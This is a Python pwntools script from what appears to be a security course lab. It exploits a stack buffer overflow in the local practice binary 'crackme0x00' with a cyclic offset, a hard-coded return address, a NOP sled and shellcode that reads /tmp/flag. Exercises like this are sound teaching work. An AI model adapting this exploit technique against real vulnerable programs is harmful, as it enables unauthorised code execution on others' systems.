#!/usr/bin/env python2

from pwn import *

context.terminal = ['tmux', 'splitw', '-v']
context.update(arch='i386', os='linux')

shellcode = shellcraft.cat("/tmp/flag")

payload  = cyclic(cyclic_find(0x61616167))

local = 0xfffdcd60

start = 0xfffdc000
start = local 
end = 0xffffe001

size = 10000
for i in range(local, local+1, size):
    payload += p32(local)
    payload += "\x90"*size
    payload += asm(shellcode)

    p = process("./crackme0x00", cwd="/home/jakeholl/git/cs6265/lab03/tut03-pwntool")

#p = gdb.debug("./crackme0x00", '''
#break *0x8048561
#continue
#''')
    p.sendline(payload)
    print i
    p.interactive()
